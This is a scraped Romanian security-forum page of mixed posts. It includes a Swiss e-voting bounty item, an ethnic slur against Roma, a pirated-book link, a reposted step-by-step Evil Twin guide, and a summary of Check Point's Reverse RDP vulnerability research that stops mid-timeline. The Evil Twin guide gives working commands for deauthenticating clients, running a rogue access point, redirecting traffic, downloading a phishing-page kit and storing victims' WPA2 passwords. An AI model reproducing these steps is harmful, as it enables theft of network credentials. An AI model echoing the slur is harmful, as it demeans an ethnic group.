Leaderboard

Am facut un mic update la MultiEncoder.com (fostul Krypton). Interfata e schimbata si a fost rescris cu Vue in loc de jQuery. Ar trebui sa performeze mai bine la string-uri mari. Codul sursa se poate gasi pe GitHub, aici. https://multiencoder.com/#rst+powa Anuntati-ma daca gasiti bug-uri sau sugestii.

Autoritățile Elvețiene contestă pe oricine să-și spargă votul electoral. Un mod ciudat de a asigura securitatea sistemului lor. Și pentru a motiva hackerii, Elveția promite o recompensă de 150.000 de franci, sau 132.000 €, celor care vor ajunge acolo. Evenimentul va fi organizat în condițiile realității, între 25 februarie și 24 martie, cu un vot fals. Participanții trebuie să se înregistreze în prealabil pe acest site https://onlinevote-pit.ch/ . Cancelaria Federală afirmă în comunicatul său că hackerii vor " încerca să manipuleze voturile, să citească voturile exprimate, să încalce secretul votării și dezafectării sau să ocolească dispozitivele de securitate care protejează voturile. acele date inerente securității". Hackerii care intră în sistemul de vot vor împărți prada în funcție de nivelul lor de hacking. Oricine reușește să manipuleze voturile nedetectabil va câștiga jackpot-ul, și anume 50.000 de franci elvețieni. Cei care reușesc să încalce secretul votului vor câștiga 10.000 de franci pentru a împărți, în timp ce cei care distrug sistemul de vot electronic vor fi recompensați cu 5.000 de franci elvețieni. Din 2004, votul electronic a fost testat în Elveția și pare să atragă tot mai mulți alegători. Secțiile de votare tradiționale sunt din ce în ce mai puține, în avantajul e-mailurilor sau corespondenței, prin intermediul oficiului poștal. În 2018, guvernul a încheiat faza de testare și a inițiat un proces pentru ca votarea electronică să fie al treilea canal de votare. Acest lucru ar trebui să dureze doi ani. Rețineți că competiția este deschisă tuturor și va fi disponibilă în franceză, germană, italiană, romană, precum și documentație în limba engleză. Source : https://geeko.lesoir.be/

Programarea retelelor de calculatoare. Materie facuta in 2 ani diferiti, part1 = primul an, part2 = al doilea an. In mare parte, cam ce e in part2, e si in partea 1. https://drive.google.com/open?id=1tEbiZT6rYXgWgqFEydH3yPsEgOT-SzH9

We are like brothers. Avoid gipsies. Romania has more gipsies than romanians. :)))))

Tu crezi ca Elvetia e Teleorman =))) Acum doi ani au vrut sa faca transportul public gratuit si s-au opus cetatenii.

Check Point Software Technologies issued a report today that detailed how its security researchers were able to remotely install malware on a digital DSLR camera. Ransomware has become a major threat to computer systems in recent years, as high-profile attacks have locked users out of personal computers, hospitals, city governments, and even The Weather Channel. Now, security researchers have discovered that another device that might be at risk: a DSLR camera. Check Point Software Technologies issued a report today that detailed how its security researchers were able to remotely install malware on a digital DSLR camera. In it, researcher Eyal Itkin found that a hacker can easily plant malware on a digital camera. He says that the standardized Picture Transfer Protocol is an ideal method for delivering malware: it’s unauthenticated and can be used with both Wi-Fi and USB. The report notes that individual with an infected Wi-Fi access point could deploy it at a tourist destination to pull off an attack, or infect a user’s PC. Reference Link : https://www.blackhatethicalhacking.com/dslr-cameras-vulnerable-to-ransomware-attack/

Selecția echipei naționale pentru Campionatul European de Securitate Cibernetică, ediția 2019 2019/03/21 Foto: ECSC În perioada 6 - 7 aprilie 2019, CERT-RO, împreună cu Serviciul Român de Informații și Asociația Națională pentru Securitatea Sistemelor Informatice, alături de partenerii Orange Romania, Bit Sentinel, certSIGN, CISCO, Microsoft, Clico, Palo Alto și Emag, organizează prima etapă de selecție (online) a echipei naționale pentru Campionatul European de Securitate Cibernetică, ediția 2019 (ECSC19). Partenerii media ai ECSC 2019 sunt Agenția Națională de Presă – Agerpres și Digi 24. În etapele de (pre)selecție vor fi testate cunoștințele participanților, prin exerciții din domeniul securității aplicațiilor web, apărării cibernetice, criptografiei, analizei traficului de rețea, reverse engineering și al prezentării publice. Detalii despre materialele educaționale recomandate se regăsesc pe site. Pentru a veni în sprijinul echipei selecționate să reprezinte România la ECSC19, organizatorii competiției naționale și partenerii implicați vor organiza două sesiuni de training (bootcamp), pentru creșterea expertizei și dezvoltarea spiritului de echipă. Concurenții care vor face parte din lotul României la faza finală a competiției European Cyber Security Challenge 2019vor primi o serie de premii din partea sponsorilor. Anul acesta, Campionatul European de Securitate Cibernetică va avea loc la București, în perioada 9 - 11 octombrie 2019. Fiecare țară participantă va fi reprezentată de câte o echipă formată din 10 concurenți împărțiți în două grupe de vârstă: 16-20 de ani și 21-25 de ani, cu câte 5 concurenți fiecare. Pentru detalii și înscriere, accesați www.cybersecuritychallenge.ro Sursa: https://cert.ro/citeste/comunicat-selectie-echipa-nationala-ECSC-2019-online?

Da, exista un numar de subiecte, care sunt scrise sau selectate de catre o comisie a ministerului in Bucuresti. Nu e 100% clar cand sunt selectate aceste 10-20 variante dar, in dimineata examenului este ales un biletel dintr-un bol. Subiectul ales(din bol) e trimis la toate scolile in dimineata examenului cu apx 1-2h inainte, intr-o arhiva zip cu parola! (este un site al ministerului unde fiecare scoala are un cont si are acces la arhiva PAROLATA)! Cu 15 min inaintea examenului PAROLA arhivei este publicata. Astfel scolile pot dezarhiva si printa subiectele. Simularea oficiala urmeaza cam aceleasi reguli. Simularea nu e doar simulare pentru prostanii de copii ci si pentru profesori, directori si informaticienti, ca sa invete si ei cum sa dezarhiveze, descarce, printeze, distribuie, etc. Eu am fost personal parte din sistemul asta, unde am dezarhivat cu parola si am dat print la subiecte.

We don't care about you.

Si site cu bani pe degeaba pentru mine cand ?

Pentru cei care va plictisiti si taiati frunze la caini: 1. Cu multumiri lui @jreister pentru pont, https://azure.microsoft.com/en-us/free/ pentru free credit 2. Tutoriale pdf pas cu pas - Build a Bot, Custom vision lab, Machine Learning Studio 3. Hands-on learning si alte materiale aditionale: 4. Materiale pentru Microsoft AI 5. Cursuri referitoare la cele de mai sus, structurate cum trebuie. Include si cybersecurity 6. AI Labs cu diferite experimente. Recomand de vazut cel cu JFK (utilizand Microsoft AI): Spor la treaba!

https://azure.microsoft.com/en-us/free/ Enjoy. Luați cât e cald.

- Maestre, care este secretul înțelepciunii? - Să nu te contrazici cu prostii - Maestre, nu cred că ăsta este secretul! - Ai dreptate!

Evil Twin Attack: The Definitive Guide by Hardeep Singh Last updated Feb. 10, 2019 In this article I’ll show you how an attacker can retrieve cleartext WPA2 passphrase on automation using an Evil Twin Access Point. No need of cracking or any extra hardware other than a Wireless adapter. I am using a sample web page for the demonstration. An attacker can turn this webpage into basically any webapp to steal information. Information like domain credentials, social login passwords, credit card information etc. ET Evil Twin noun Definition A fraudulent wireless access point masquerading as a legitimate AP. Evil Twin Access Point’s sole purpose is to eavesdrop on WiFi users to steal personal or corporate information without user’s knowledge. We will not be using any automated script, rather we will understand the concept and perform it manually so that you can make your own script to automate the task and make it simple and usable on low-end devices. Lets begin now! Download All 10 Chapters of WiFi Pentesting and Security Book… PDF version contains all of the content and resources found in the web-based guide Evil Twin Attack Methodology Step 1: Attacker scans the air for the target access point information. Information like SSID name, Channel number, MAC Address. He then uses that information to create an access point with same characteristics, hence Evil Twin Attack. Step 2: Clients on the legitimate AP are repeatedly disconnected, forcing users to connect to the fraudulent access point. Step 3: As soon as the client is connected to the fake access point, S/he may start browsing Internet. Step 4: Client opens up a browser window and see a web administrator warning saying “Enter WPA password to download and upgrade the router firmware” Step 5: The moment client enters the password, s/he will be redirected to a loading page and the password is stored in the MySQL database of the attacker machine. The persistent storage and active deauthentication makes this attack automated. An attacker can also abuse this automation by simply changing the webpage. Imagine the same WPA2 password warning is replaced by “Enter domain credentials to access network resources”. The fake AP will be up all time and storing legitimate credentials in persistent storage. I’ll discuss about it in my Captive Portal Guide. Where I’ll demonstrate how an attacker can even hack domain credentials without having a user to open a webpage. Just connecting the WiFi can take a WiFi user to our webpage, automatically. A WiFi user could be using Android, iOS, a MacOS or a windows laptop. Almost every device is susceptible to it. but for now I’ll show you how the attack works with lesser complications. Tweet this Evil Twin Attack Guide Prerequisites Below are the following list of hardware and software used in creating this article. Use any hardware of your choice until it supports the softwares you’d be using. Hardware used: A Laptop (4GB RAM, Intel i5 processor) Alfa AWUS036NH 1W wireless adapter Huawei 3G WiFi dongle for Internet connection to the Kali Virtual Machine Software Used VMWare Workstation/Fusion 2019 Kali Linux 2019 (Attacker) Airmon-ng, airodump-ng, airbase-ng, and aireplay-ng DNSmasq Iptables Apache, mysql Firefox web browser on Ubuntu 16.10 (Victim) Installing required tools So far we have aircrack-ng suite of tools, apache, mysql, iptables pre-installed in our Kali Linux virtual machine. We just need to install dnsmasq for IP address allocation to the client. Install dnsmasq in Kali Linux Type in terminal: apt-get update apt-get install dnsmasq -y This will update the cache and install latest version of dhcp server in your Kali Linux box. Now all the required tools are installed. We need to configure apache and the dhcp server so that the access point will allocate IP address to the client/victim and client would be able to access our webpage remotely. Now we will define the IP range and the subnet mask for the dhcp server. Configure dnsmasq Create a configuration file for dnsmasq using vim or your favourite text editor and add the following code. sudo vi ~/Desktop/dnsmasq.conf ~/Desktop/dnsmasq.conf interface=at0 dhcp-range=10.0.0.10,10.0.0.250,12h dhcp-option=3,10.0.0.1 dhcp-option=6,10.0.0.1 server=8.8.8.8 log-queries log-dhcp listen-address=127.0.0.1 Save and exit. Use your desired name for .conf file. Pro Tip: Replace at0 with wlan0 everywhere when hostapd is used for creating an access point Parameter Breakdown dhcp-range=10.0.0.10,10.0.0.250,12h: Client IP address will range from 10.0.0.10 to 10.0.0.250 and default lease time is 12 hours. dhcp-option=3,10.0.0.1: 3 is code for Default Gateway followed by IP of D.G i.e. 10.0.0.1 dhcp-option=6,10.0.0.1: 6 for DNS Server followed by IP address (Optional) Resolve airmon-ng and Network Manager Conflict Before enabling monitor mode on the wireless card let’s fix the airmon-ng and network-manager conflict forever. So that we don’t need to kill the network-manager or disconnect tany network connection before putting wireless adapter into monitor mode as we used to run airmon-ng check kill every time we need to start wifi pentest. Open network manager’s configuration file and put the MAC address of the device you want network-manager to stop managing: vim /etc/NetworkManager/NetworkManager.conf Now add the following at the end of the file [keyfile] unmanaged-devices:mac=AA:BB:CC:DD:EE:FF, A2:B2:C2:D2:E2:F2 Now that you have edited the NetworkManager.conf file you should have no conflicts with airmon-ng in Kali Linux We are ready to begin now. Put wireless adapter into monitor mode Bring up the wireless interface ifconfig wlan0 up airmon-ng start wlan0 Putting the card in monitor mode will show a similar output Now our card is in monitor mode without any issues with network manager. You can simply start monitoring the air with command airodump-ng wlan0mon As soon your target AP appears in the airodump-ng output window press CTRL+C and note these three things in a text editor: vi info.txt Set tx-power of alfa card to max: 1000mW tx-power stands for transmission power. By default it is set to 20dBm(Decibel metre) or 100mW. tx-power in mW increases 10 times with every 10 dBm. See the dBm to mW table. If your country is set to US while installation. then your card should operate on 30 dBm(1000 mW) ifconfig wlan0mon down iw reg set US ifconfig wlan0mon up iwconfig wlan0mon If you are thinking why we need to change region to operate our card at 1000mW. Here is why because different countries have different legal allowance of Wireless devices at certain power and frequency. That is why Linux distribution have this information built in and you need to change your region to allow yourself to operate at that frequency and power. Motive of powering up the card is that when creating the hotspot you do not have any need to be near to the victim. victim device will automatically connect to the device with higher signal strength even if it isn’t physically near. Start Evil Twin Attack Begin the Evil Twin attack using airbase-ng: airbase-ng -e "rootsh3ll" -c 1 wlan0mon by default airbase-ng creates a tap interface(at0) as the wired interface for bridging/routing the network traffic via the rogue access point. you can see it using ifconfig at0 command. For the at0 to allocate IP address we need to assign an IP range to itself first. Allocate IP and Subnet Mask ifconfig at0 10.0.0.1 up Note: The Class A IP address, 10.0.0.1, matches the dhcp-option parameter of dnsmasq.conf file. Which means at0 will act as the default gateway under dnsmasq Now we will use our default Internet facing interface, eth0, to route all the traffic from the client through it. In other words, allowing victim to access the internet and allowing ourselves(attacker) to sniff that traffic. For that we will use iptables utility to set a firewall rule to route all the traffic through at0 exclusively. You will get a similar output, if using VM Enable NAT by setting Firewall rules in iptables Enter the following commands to set-up an actual NAT: iptables --flush iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80 iptables -t nat -A POSTROUTING -j MASQUERADE Make sure you enter correct interface for –out-interface. eth0 here is the upstream interface where we want to send out packets, coming from at0 interface(rogue AP). Rest is fine. After entering the above command if you are willing to provide Internet access to the victim just enable routing using the command below Enable IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward Entering “1” in the ip_forward file will tell the system to enable the rules defined in the IPtables and start forwarding traffic(if any). 0 stand for disable. Although rules will remain defined until next reboot. We will put it 0 for this attack, as we are not providing internet access before we get the WPA password. Our Evil Twin attack is now ready and rules has been enabled, now we will start the dhcp server to allow fake AP to allocate IP address to the clients. First we need to tell dhcp server the location of the file we created earlier, which defines IP class, subnet mask and range of the network. Start dhcpd Listener Type in terminal: dnsmasq -C ~/Desktop/dnsmasq.conf -d Here -C stands for Configuration file and -d stands for daemon mode as soon as victim connects you should see similar output for dnsmasq Terminal window [ dnsmasq ] dnsmasq: started, version 2.76 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify dnsmasq-dhcp: DHCP, IP range 10.0.0.10 -- 10.0.0.250, lease time 12h dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: reading /etc/resolv.conf dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: using nameserver 192.168.74.2#53 dnsmasq: read /etc/hosts - 5 addresses dnsmasq-dhcp: 1673205542 available DHCP range: 10.0.0.10 -- 10.0.0.250 dnsmasq-dhcp: 1673205542 client provides name: rootsh3ll-iPhone dnsmasq-dhcp: 1673205542 DHCPDISCOVER(at0) 2c:33:61:3d:c4:2e dnsmasq-dhcp: 1673205542 tags: at0 dnsmasq-dhcp: 1673205542 DHCPOFFER(at0) 10.0.0.247 2c:33:61:3a:c4:2f dnsmasq-dhcp: 1673205542 requested options: 1:netmask, 121:classless-static-route, 3:router, <-----------------------------------------SNIP-----------------------------------------> dnsmasq-dhcp: 1673205542 available DHCP range: 10.0.0.10 -- 10.0.0.250 In case you are facing any issue regarding dhcp server, just kill the curently running dhcp processes killall dnsmasq dhcpd isc-dhcp-server and run dnsmasq again. It should work now. Start the Services Now start the dhcp server, apache and mysql inline /etc/init.d/apache2 start /etc/init.d/mysql start We have our Evil Twin attack vector up and working perfectly. Now we need to setup our fake webpage in action so that victim will see the webpage while browsing and enter the passphrase which s/he uses for his/her access point. Download Rogue AP Configuration Files wget https://cdn.rootsh3ll.com/u/20180724181033/Rogue_AP.zip and simply enter the following command in Terminal unzip rogue_AP.zip -d /var/www/html/ This command will extract the contents of rogue_AP.zip file and copy them to the apache’s html directory so that when the victim opens the browser s/he will automatically be redirected to the default index.html webpage. Now to store the credentials entered by the victim in the html page, we need an SQL database. you will see a dbconnect.php file for that, but to be in effect you need a database created already so that the dbconnect.php will reflect the changes in the DB. Open terminal and type: mysql -u root -p Create a new user fakeap and password fakeap As you cannot execute MySQL queries from PHP being a root user since version 5.7 create user fakeap@localhost identified by 'fakeap'; now create database and table as defined in the dbconnect.php create database rogue_AP; use rogue_AP; create table wpa_keys(password1 varchar(32), password2 varchar(32)); It should go like this: Grant fakeap all the permissions on rogue_AP Database: grant all privileges on rogue_AP.* to 'fakeap'@'localhost'; Exit and log in using new user mysql -u fakeap -p Select rogue_AP database use rogue_AP; Insert a test value in the table insert into wpa_keys(password1, password2) values ("testpass", "testpass"); select * from wpa_keys; Note that both the values are same here, that means password and confirmation password should be the same. Our attack is now ready just wait for the client to connect and see the credential coming. In some cases your client might already be connected to the original AP. You need to disconnect the client as we did in the previous chapters using aireplay-ng utility. Syntax: aireplay-ng --deauth 0 -a <BSSID> <Interface> aireplay-ng --deauth 0 -a FC:DD:55:08:4F:C2 wlan0mon --deauth 0: Unlimited de-authentication requests. Limit the request by entering natural numbers. We are using 0 so that every client will disconnect from that specific BSSID and connect to our AP as it is of the same name as of real AP and also open type access point. As soon a client connects to your AP you will see an activity in the airbase-ng terminal window like this Now to simulate the client side I am using Ubuntu machine connected via WiFi and using a Firefox web browser to illustrate the attack. Victim can now access the Internet. You can do 2 things at this staged: Sniff the client traffic Redirect all the traffic to the fake AP page and that’s what we wanna do. Redirect the client to our fake AP page. Just run this command: dnsspoof -i at0 It will redirect all HTTP traffic coming from the at0 interface. Not HTTPS traffic, due to the built in list of HSTS web sites. You can’t redirect HTPS traffic without getting an SSL/TLS error on the victim’s machine. When victim tries to access any website(google.com in this case), s/he will see this page which tell the victim to enter the password to download and upgrade the firmware Here i am entering “iamrootsh3ll” as the password that I (Victim) think is his/her AP’s password. As soon as the victim presses [ENTER] s/he will see this Now coming back to attacker side. You need to check in the mySQL database for the stored passwords. Just type the previously used command in the mySQL terminal window and see whether a new update is there or not. After simulating I checked the mySQL DB and here is the output Voila! you have successfully harvested the WPA2 passphrase, right from the victim, in plain text. Now close all the terminal windows and connect back to the real AP to check whether the password is correct or victim was him/herself was a hacker and tricked you! Although you don’t need to name any AP similar to an existing AP you can also create a random free open WiFi type name to gather the client on your AP and start pentesting. Download All 10 Chapters of WiFi Pentesting and Security Book… PDF version contains all of the content and resources found in the web-based guide Want to go even deeper? If you are serious about WiFi Penetration Testing and Security, I have something for you. WiFi Hacking in the Cloud Video Course. Which will take you from a complete beginner to a full blown blue teamer who can not only pentest a WiFi network but can also detect rogue devices on a network, detect network anomalies, perform threat detection on multiple networks at once, create email reports, visual dashboard for easier understanding, incident handling and respond to the Security Operations Center. Apart from that, USP of the course? WiFi Hacking without a WiFi card – A.K.A The Cloud Labs The cloud labs allows you to simply log into your Kali machine and start sniffing WiFi traffic. perform low and high level WiFi attacks, learn all about WiFi security, completely on your lab. WiFi Hacking Without a WiFi Card – Proof of Concept Labs can be accessed in 2 ways 1. Via Browser – Just use your login link and password associated 2. Via SSH -If you want even faster and latency free experience. Here’s a screenshot of the GUI lab running in Chrome browser (Note the URL, it’s running on Amazon AWS cloud): Click here to learn all about the WiFi Security Video Course. Order now for a discount Keep Learning… Sursa: https://rootsh3ll.com/evil-twin-attack/

Versiunea 2018 editia a Va https://b-ok.cc/book/3586769/2d5561 Mersi @gaddafi pentru site.

Reverse RDP Attack: Code Execution on RDP Clients February 5, 2019 Research by: Eyal Itkin Overview Used by thousands of IT professionals and security researchers worldwide, the Remote Desktop Protocol (RDP) is usually considered a safe and trustworthy application to connect to remote computers. Whether it is used to help those working remotely or to work in a safe VM environment, RDP clients are an invaluable tool. However, Check Point Research recently discovered multiple critical vulnerabilities in the commonly used Remote Desktop Protocol (RDP) that would allow a malicious actor to reverse the usual direction of communication and infect the IT professional or security researcher’s computer. Such an infection could then allow for an intrusion into the IT network as a whole. 16 major vulnerabilities and a total of 25 security vulnerabilities were found overall. The full list can be found in Appendix A & B. Introduction The Remote Desktop Protocol (RDP), also known as “mstsc” after the Microsoft built-in RDP client, is commonly used by technical users and IT staff to connect to / work on a remote computer. RDP is a proprietary protocol developed by Microsoft and is usually used when a user wants to connect to a remote Windows machine. There are also some popular open-source clients for the RDP protocol that are used mainly by Linux and Mac users. RDP offers many complex features, such as: compressed video streaming, clipboard sharing, and several encryption layers. We therefore decided to look for vulnerabilities in the protocol and its popular implementations. In a normal scenario, you use an RDP client, and connect to a remote RDP server that is installed on the remote computer. After a successful connection, you now have access to and control of the remote computer, according to the permissions of your user. But if the scenario could be put in reverse? We wanted to investigate if the RDP server can attack and gain control over the computer of the connected RDP client. Figure 1: Attack scenario for the RDP protocol There are several common scenarios in which an attacker can gain elevated network permissions by deploying such an attack, thus advancing his lateral movement inside an organization: Attacking an IT member that connects to an infected work station inside the corporate network, thus gaining higher permission levels and greater access to the network systems. Attacking a malware researcher that connects to a remote sandboxed virtual machine that contains a tested malware. This allows the malware to escape the sandbox and infiltrate the corporate network. Now that we decided on our attack vector, it is time to introduce our targets, the most commonly used RDP clients: mstsc.exe – Microsoft’s built-in RDP client. FreeRDP – The most popular and mature open-source RDP client on Github. rdesktop – Older open-source RDP client, comes by default in Kali-linux distros. Fun fact: As “rdesktop” is the built-in client in Kali-linux, a Linux distro used by red teams for penetration testing, we thought of a 3rd (though probably not practical) attack scenario: Blue teams can install organizational honeypots and attack red teams that try to connect to them through the RDP protocol. Open-Source RDP clients As is usually the case, we decided to start looking for vulnerabilities in the open source clients. It seems that it will only make sense to start reverse engineer Microsoft’s client after we will have a firm understanding of the protocol. In addition, if we find common vulnerabilities in the two open sourced clients, we could check if they also apply to Microsoft’s client. In a recon check it looked like “rdesktop” is smaller than “FreeRDP” (has fewer lines of code), and so we selected it as our first target. Note: We decided to perform an old-fashioned manual code audit instead of using any fuzzing technique. The main reasons for this decision were the overhead of writing a dedicated fuzzer for the complex RDP protocol, together with the fact that using AFL for a protocol with several compression and encryption layers didn’t look like a good idea. rdesktop Tested version: v1.8.3 After a short period, it looked like the decision to manually search for vulnerabilities paid off. We soon found several vulnerable patterns in the code, making it easier to “feel” the code, and pinpoint the locations of possible vulnerabilities. We found 11 vulnerabilities with a major security impact, and 19 vulnerabilities overall in the library. For the full list of CVEs for “rdesktop”, see Appendix A. Note: An additional recon showed that the xrdp open-source RDP server is based on the code of “rdesktop”. Based on our findings, it appears that similar vulnerabilities can be found in “xrdp” as well. Instead of a technical analysis of all of the CVEs, we will focus on two common vulnerable code patterns that we found. Remote Code Executions – CVEs 2018-20179 – 2018-20181 Throughout the code of the client, there is an assumption that the server sent enough bytes to the client to process. One example for this assumption can be found in the following code snippet in Figure 2: Figure 2: Parsing 2 fields from stream “s” without first checking its size As we can see, the fields “length” and “flags” are parsed from the stream “s”, without checking that “s” indeed contains the required 8 bytes for this parsing operation. While this usually only leads to an Out-Of-Bounds read, we can combine this vulnerability with an additional vulnerability in several of the inner channels and achieve a much more severe effect. There are three logical channels that share a common vulnerability: lspci rdpsnddbg – yes, this debug channel is always active seamless The vulnerability itself can be seen in Figure 3: Figure 3: Integer-Underflow when calculating the remaining “pkglen” By reading too much data from the stream, i.e. sending a chopped packet to the client, the invariant that “s->p <= s->end” breaks. This leads to an Integer-Underflow when calculating “pkglen”, and to an additional Integer-Overflow when allocating “xmalloc(pkglen + 1)” bytes for our buffer, as can be seen in my comment above the call to “xmalloc”. Together with the proprietary implementation of “STRNCPY”, seen in Figure 4, we can trigger a massive heap-based buffer overflow when copying data to the tiny allocated heap buffer. Figure 4: proprietary implementation of the “strncpy” function By chaining together these two vulnerabilities, found in three different logical channels, we now have three remote code execution vulnerabilities. CVE 2018-8795 – Remote Code Execution Another classic vulnerability is an Integer-Overflow when processing the received bitmap (screen content) updates, as can be seen in Figure 5: Figure 5: Integer-Overflow when processing bitmap updates Although “width” and “height” are only 16 bits each, by multiplying them together with “Bpp” (bits-per-pixel), we can trigger an Integer-Overflow. Later on, the bitmap decompression will process our input and break on any decompression error, giving us a controllable heap-based buffer-overflow. Note: This tricky calculation can be found in several places throughout the code of “rdesktop”, so we marked it as a potential vulnerability to check for in “FreeRDP”. FreeRDP Tested version: 2.0.0-rc3 After finding multiple vulnerabilities in “rdesktop”, we approached “FreeRDP” with some trepidation; perhaps only “rdesktop” had vulnerabilities when implementing RDP? We still can’t be sure that every implementation of the protocol will be vulnerable. And indeed, at first glance, the code seemed much better: there are minimal size checks before parsing data from the received packet, and the code “feels” more mature. It is going to be a challenge. However, after a deeper examination, we started to find cracks in the code, and eventually we found critical vulnerabilities in this client as well. We found 5 vulnerabilities with major security impact, and 6 vulnerabilities overall in the library. For the full list of CVEs for “FreeRDP”, see Appendix B. Note: An additional recon showed that the RDP client NeutrinoRDP is a fork of an older version (1.0.1) of “FreeRDP” and therefore probably suffers from the same vulnerabilities. At the end of our research, we developed a PoC exploit for CVE 2018-8786, as can be seen in this video: CVE 2018-8787 – Same Integer-Overflow As we saw earlier in “rdesktop”, calculating the dimensions of a received bitmap update is susceptible to Integer-Overflows. And indeed, “FreeRDP” shares the same vulnerability: Figure 6: Same Integer-Overflow when processing bitmap updates Remote Code Execution – CVE 2018-8786 Figure 7: Integer-Truncation when processing bitmap updates As can be seen in Figure 7, there is an Integer-Truncation when trying to calculate the required capacity for the bitmap updates array. Later on, rectangle structs will be parsed from our packet and into the memory of the too-small allocated buffer. This specific vulnerability is followed by a controlled amount (“bitmapUpdate->number”) of heap allocations (with a controlled size) when the rectangles are parsed and stored to the array, granting the attacker a great heap-shaping primitive. The downside of this vulnerability is that most of the rectangle fields are only 16 bits wide, and are upcasted to 32 bits to be stored in the array. Despite this, we managed to exploit this CVE in our PoC. Even this partially controlled heap-based buffer-overflow is enough for a remote code execution. Mstsc.exe – Microsoft’s RDP client Tested version: Build 18252.rs_prerelease.180928-1410 After we finished checking the open source implementations, we felt that we had a pretty good understanding of the protocol and can now start to reverse engineer Microsoft’s RDP client. But first thing first, we need to find which binaries contain the logic we want to examine. The *.dll files and *.exe files we chose to focus on: rdpbase.dll – Protocol layer for the RDP client. rdpserverbase.dll – Protocol layer for the RDP server. rdpcore.dll / rdpcorets.dll – Core logic for the RDP engine. rdpclip.exe – An .exe we found and that we will introduce later on. mstscax.dll – Mostly the same RDP logic, used by mstsc.exe. Testing prior vulnerabilities We started by testing our PoCs for the vulnerabilities in the open-source clients. Unfortunately, all of them caused the client to close itself cleanly, without any crash. Having no more excuses, we opened IDA and started to track the flow of the messages. Soon enough, we realized that Microsoft’s implementation is much better than the implementations we tested previously. Actually, it seems like Microsoft’s code is better by several orders of magnitude, as it contains: Several optimization layers for efficient network streaming of the received video. Robust input checks. Robust decompression checks, to guarantee that no byte will be written past the destination buffer. Additional supported clipboard features. … Needless to say, there were checks for Integer-Overflows when processing bitmap updates. Wait a minute, they share a clipboard? When we checked “rdesktop” and “FreeRDP”, we found several vulnerabilities in the clipboard sharing channel (every logical data layer is called a channel). However, at the time, we didn’t pay much attention to it because they only shared two formats: raw text and Unicode text. This time it seems that Microsoft supports several more shared data formats, as the switch table we saw was much bigger than before. After reading more about the different formats in MSDN, one format immediately attracted our attention: “CF_HDROP”. This format seems responsible for “Drag & Drop” (hence the name HDROP), and in our case, the “Copy & Paste” feature. It’s possible to simply copy a group of files from the first computer, and paste them in the second computer. For example, a malware researcher might want to copy the output log of his script from the remote VM to his desktop. It was roughly at this point, while I was trying to figure out the flow of the data, Omer (@GullOmer) asked me if and where PathCanonicalizeA is called. If the client fails to properly canonicalize and sanitize the file paths it receives, it could be vulnerable to a path-traversal attack, allowing the server to drop arbitrary files in arbitrary paths on the client’s computer, a very strong attack primitive. After failing to find imports for the canonicalization function, we dug in deeper, trying to figure out the overall architecture for this data flow. Figure 8 summarizes our findings: Figure 8: Architecture of the clipboard sharing in Microsoft’s RDP This is where rdpclip.exe comes into play. It turns out that the server accesses the clipboard through a broker, and that is rdpclip.exe. In fact, rdpclip.exe is just a normal process (we can kill / spawn it ourselves) that talks to the RDP service using a dedicated virtual channel API. At this stage, we installed ClipSpy, and started to dynamically debug the clipboard’s data handling that is done inside rdpclip.exe. These are our conclusions regarding the data flow in an ordinary “Copy & Paste” operation in which a file is copied from the server to the client: On the server, the “copy” operation creates a clipboard data of the format “CF_HDROP”. When the “paste” is performed in the client’s computer, a chain of events is triggered. The rdpclip.exe process on the server is asked for the clipboard’s content, and converts it to a FileGroupDescriptor (Fgd) clipboard format. The metadata of the files is added to the descriptor one at a time, using the HdropToFgdConverter::AddItemToFgd() function. After it is finished, the Fgd blob is sent to the RDP service on the server. The server simply wraps it and sends it to the client. The client unwraps it and stores it in its own clipboard. A “paste” event is sent to the process of the focused window (for example, explorer.exe). This process handles the event and reads the data from the clipboard. The content of the files is received over the RDP connection itself. Path Traversal over the shared RDP clipboard If we look back on the steps performed on the received clipboard data, we notice that the client doesn’t verify the received Fgd blob that came from the RDP server. And indeed, if we modify the server to include a path traversal path of the form: ..\canary1.txt, ClipSpy shows us (see Figure 9) that it was stored “as is” on the client’s clipboard: Figure 9: Fgd with a path-traversal was stored on the client’s clipboard In Figure 10, we can see how explorer.exe treats a path traversal of ..\filename.txt: Figure 10: Fgd with a path-traversal as explorer.exe handles it Just to make sure, after the “paste” in folder “Inner”, the file is stored to “Base” instead: Figure 11: Folders after a successful path traversal attack And that’s practically it. If a client uses the “Copy & Paste” feature over an RDP connection, a malicious RDP server can transparently drop arbitrary files to arbitrary file locations on the client’s computer, limited only by the permissions of the client. For example, we can drop malicious scripts to the client’s “Startup” folder, and after a reboot they will be executed on his computer, giving us full control. Note: In our exploit, we simply killed rdpclip.exe, and spawned our own process to perform the path traversal attack by adding additional malicious file to every “Copy & Paste” operation. The attack was performed with “user” permissions, and does not require the attacker to have “system” or any other elevated permission. Here is a video of our PoC exploit: Taking it one step further Every time a clipboard is updated on either side of the RDP connection, a CLIPRDR_FORMAT_LIST message is sent to the other side, to notify it about the new clipboard formats that are now available. We can think of it as a complete sync between the clipboards of both parties (except for a small set of formats that are treated differently by the RDP connection itself). This means that our malicious server is notified whenever the client copies something to his “local” clipboard, and it can now query the values and read them. In addition, the server can notify the client about a clipboard “update” without the need for a “copy” operation inside the RDP window, thus completely controlling the client’s clipboard without being noticed. Scenario #1: A malicious RDP server can eavesdrop on the client’s clipboard – this is a feature, not a bug. For example, the client locally copies an admin password, and now the server has it too. Scenario #2: A malicious RDP server can modify any clipboard content used by the client, even if the client does not issue a “copy” operation inside the RDP window. If you click “paste” when an RDP connection is open, you are vulnerable to this kind of attack. For example, if you copy a file on your computer, the server can modify your (executable?) file / piggy-back your copy to add additional files / path-traversal files using the previously shown PoC. We were able to successfully test this attack scenario using NCC’s .NET deserialization PoC: The server executes their PoC, and positions in the clipboard a .NET content that will pop a calculator (using the “System.String” format). When the client clicks “paste” inside the PowerShell program, the deserialization occurs and a calc is popped. Note: The content of the synced clipboard is subject to Delayed Rendering. This means that the clipboard’s content is sent over the RDP connection only after a program actively asks for it, usually by clicking “paste”. Until then, the clipboard only holds the list of formats that are available, without holding the content itself. Disclosure Timeline 16 October 2018 – Vulnerability was 